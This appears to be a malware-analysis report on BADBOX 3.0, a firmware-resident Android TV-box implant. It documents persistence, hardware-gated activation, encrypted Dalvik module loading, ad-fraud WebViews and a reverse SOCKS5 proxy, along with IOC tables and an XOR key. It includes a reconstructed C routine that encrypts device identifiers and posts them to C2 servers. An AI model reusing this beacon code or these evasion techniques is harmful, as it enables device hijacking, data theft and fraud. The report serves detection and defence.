Firmware residency
The native engine is placed in system/vendor library paths and starts through privileged Android components, allowing it to remain after a factory reset.
Reverse engineering of a firmware-resident AOSP implant that activates on selected TV-box hardware, stages encrypted Dalvik modules, falsifies Connected TV advertising telemetry, and exposes residential bandwidth through a reverse SOCKS5 relay.
BADBOX 3.0 is an Android Open Source Project firmware implant, not a Windows executable. Its runtime combines stripped ARM/AArch64 ELF shared libraries, encrypted Dalvik/ART modules, factory-installed launchers, and JNI-based loaders embedded in system or vendor partitions.
libanl.so begins through a system launcher or JNI_OnLoad, checks whether the device matches targeted TXCZ/Allwinner hardware, decrypts its network configuration, and retrieves second-stage modules. Those modules run hidden CTV advertising activity and register the device as a PXYEDGE residential proxy node.
DexClassLoader, firmware partitions, Unix sockets, WebViews, and native POSIX networking.The native engine is placed in system/vendor library paths and starts through privileged Android components, allowing it to remain after a factory reset.
Manufacturer and board properties restrict execution to TXCZ, Allwinner, and sun50i device profiles.
Secondary JAR/APK payloads use rotating XOR or RC4 protection and are instantiated through DexClassLoader.
Invisible/zero-pixel WebViews and spoofed Smart TV headers generate start, midpoint, and completion advertising beacons.
The device registers with PXYEDGE and forwards arbitrary SOCKS5 traffic through the victim's home connection.
Device telemetry and task responses use AES-128-CBC or rotating XOR encoding before Base64 transport over HTTP/HTTPS.
.symtab stripped/JNI exports retained in .dynsym/system/lib/libanl.so
/system/lib64/libanl.sop.jar/q.jardalvik.system.DexClassLoaderdlsym()/JNI reflection/data/local/tmp/p.jar
/data/local/tmp/q.jarThe native shared object is embedded under /system/lib, /system/lib64, or /vendor/lib and starts through an Android launcher or runtime preload.
JNI_OnLoad initializes the engine, resolves native APIs, prepares local IPC through /dev/socket/bb_daemon, and reads the encrypted configuration.
Android properties are checked for TXCZ, Allwinner, or sun50i markers. Payload staging stops when the device does not match the intended hardware profile.
Android ID, MAC address, build fingerprint, and manufacturer data are serialized, encrypted, Base64-encoded, and sent to the active endpoint.
The implant downloads encrypted catalogs and payloads from primary C2 domains or mirror hosts, then stages p.jar/q.jar.
JNI reflection creates a DexClassLoader with the application class loader as parent, limiting the visibility of malicious logic in the original APK.
Hidden WebViews emit false CTV video events while a second worker registers the device with PXYEDGE and runs a reverse SOCKS5 relay.
Initializes libcurl/native POSIX sockets and configures HTTP/HTTPS transport, including disabled SSL verification.
Decrypts the .rodata configuration block containing primary domains, backup C2 addresses, payload mirrors, and proxy infrastructure.
Builds an encrypted JSON message containing the Android ID, MAC address, build fingerprint, manufacturer, and implant version.
Decrypts C2 responses and routes task data to the ad-fraud, module-loading, or proxy-relay workers.
snprintf(post_data, sizeof(post_data),
"{\"dev_id\":\"%s\",\"build\":\"%s\",\"mfr\":\"%s\",\"ver\":\"3.0\"}",
ctx->android_id, ctx->build_fingerprint, ctx->manufacturer);
enc_len = xor_encrypt_payload(post_data, strlen(post_data), enc_buffer, ctx->session_key);
status = http_post(ctx->primary_c2, "/ota/api/v1/check", enc_buffer, enc_len, &resp);
if (status != 200 || resp.body_len == 0)
status = http_post(ctx->backup_c2, "/ota/api/v1/check", enc_buffer, enc_len, &resp);
if (status == 200) {
xor_decrypt_payload(resp.body, resp.body_len, post_data, ctx->session_key);
return dispatch_command_task(ctx, post_data);
}
The native engine queries ro.product.manufacturer and ro.board.platform, continuing only when it finds TXCZ, Allwinner, or sun50i identifiers.
JNI reflection resolves dalvik/system/DexClassLoader, attaches the current application class loader, and executes decrypted JAR content outside the original APK.
Hidden WebViews send start, midpoint, and completion events with Smart TV/Roku-style headers while no visible advertisement is shown.
execute_ssai_fraud · RVA 0x00007120 · file offset 0x00006120The implant opens a TCP session, sends the PXYE protocol magic and node UUID, then starts a relay thread for inbound SOCKS5 traffic.
The native component is placed directly inside factory firmware images before the device reaches the user.
System partition residency allows the implant to remain when a reset clears user data but restores the same compromised firmware.
p.jar/q.jar and runtime strings are protected with rotating XOR or RC4 before loading.
Activation depends on expected manufacturer/chipset properties, reducing execution in unrelated analysis environments.
Ad-fraud code runs in background WebViews configured as invisible or zero-pixel layouts.
The device becomes a residential relay, allowing external traffic to exit through the victim's public IP address.
| Type | Indicator | Context | Routine |
|---|---|---|---|
| Domain | ad3g[.]com | Encrypted C2 configuration | decrypt_c2_config · RVA 0x00003AC4 |
| Domain | api[.]drgdj[.]top | Primary C2 | decrypt_c2_config · RVA 0x00003AC4 |
| Domain | api[.]pixelpioneerss[.]com | Encrypted C2 configuration | decrypt_c2_config · RVA 0x00003AC4 |
| Domain | api[.]shzhtxcz[.]com | Backup C2 | decrypt_c2_config · RVA 0x00003AC4 |
| Domain | file[.]drgdj[.]top | Payload mirror | download_payload_module · RVA 0x00005220 |
| Domain | gh[.]drgdj[.]top | Payload mirror | download_payload_module · RVA 0x00005220 |
| Domain | moyu88[.]xyz | Proxy-node configuration | init_proxy_node · RVA 0x00006110 |
| Domain | pxyedge[.]com | Residential proxy service | init_proxy_node · RVA 0x00006110 |
| Domain | shzhtxcz[.]com | Hardware/campaign configuration | check_device_properties · RVA 0x00002F10 |
| IPv4 | 107.151.239[.]17 | Proxy gateway | connect_proxy_gateway · RVA 0x00006340 |
| IPv4 | 128.14.141[.]107 | Proxy gateway | connect_proxy_gateway · RVA 0x00006340 |
| IPv4 | 129.227.67[.]234 | Proxy gateway | connect_proxy_gateway · RVA 0x00006340 |
| IPv4 | 39.108.226[.]196 | Proxy gateway | connect_proxy_gateway · RVA 0x00006340 |
| IPv4 | 47.106.197[.]183 | Proxy gateway | connect_proxy_gateway · RVA 0x00006340 |
| IPv4 | 47.113.90[.]237 | Proxy gateway | connect_proxy_gateway · RVA 0x00006340 |
| URL path | /ota/api/ | Device beacon/tasking path family | send_device_beacon · RVA 0x00004180 |
| User-Agent | Dalvik/2.1.0 (Linux; U; Android %s; %s Build/%s) | Native network-client template | init_network_client · RVA 0x000032A0 |
| Type | Indicator | Context | Routine |
|---|---|---|---|
| File path | /system/lib/libanl.so/system/lib64/libanl.so | Firmware-resident native engine | native_install · RVA 0x00001850 |
| File path | /data/local/tmp/p.jar | Staged Dalvik module | stage_dex_module · RVA 0x00005580 |
| File path | /data/local/tmp/q.jar | Staged Dalvik module | stage_dex_module · RVA 0x00005580 |
| System property | persist.sys.txcz.debug | TXCZ firmware marker | check_device_properties · RVA 0x00002F10 |
| Unix socket | /dev/socket/bb_daemon | Local IPC endpoint | init_local_ipc · RVA 0x00002A10 |
| XOR key | 5A A5 3C C3 1E E1 78 87 | Eight-byte rotating payload/configuration key | xor_decrypt_payload · RVA 0x000038F0 |
| Protocol magic | 0x50585945/PXYE | PXYEDGE node registration | init_proxy_node · RVA 0x00006110 |
check manufacturer failed, aborting payload stage
Logged when manufacturer/board properties do not match the targeted device profile.
check_device_properties · RVA 0x00002F98 · file offset 0x00001F98dex opt success: /data/local/tmp/p.jar
Marks successful extraction and Dalvik optimization of the secondary module.
stage_dex_module · RVA 0x00005610 · file offset 0x00004610proxy node registered to pxyedge: %s:%d
Emitted after registration with the residential proxy service.
init_proxy_node · RVA 0x00006240 · file offset 0x00005240ssai stream spoof start -> %s
Precedes the fake Connected TV video-ad beacon sequence.
execute_ssai_fraud · RVA 0x00007120 · file offset 0x000061200x42423330/BB300x0300/v3.01200 seconds8 bytesapi[.]drgdj[.]topapi[.]shzhtxcz[.]comgh[.]drgdj[.]toppxyedge[.]com1080/84430x50585945/PXYE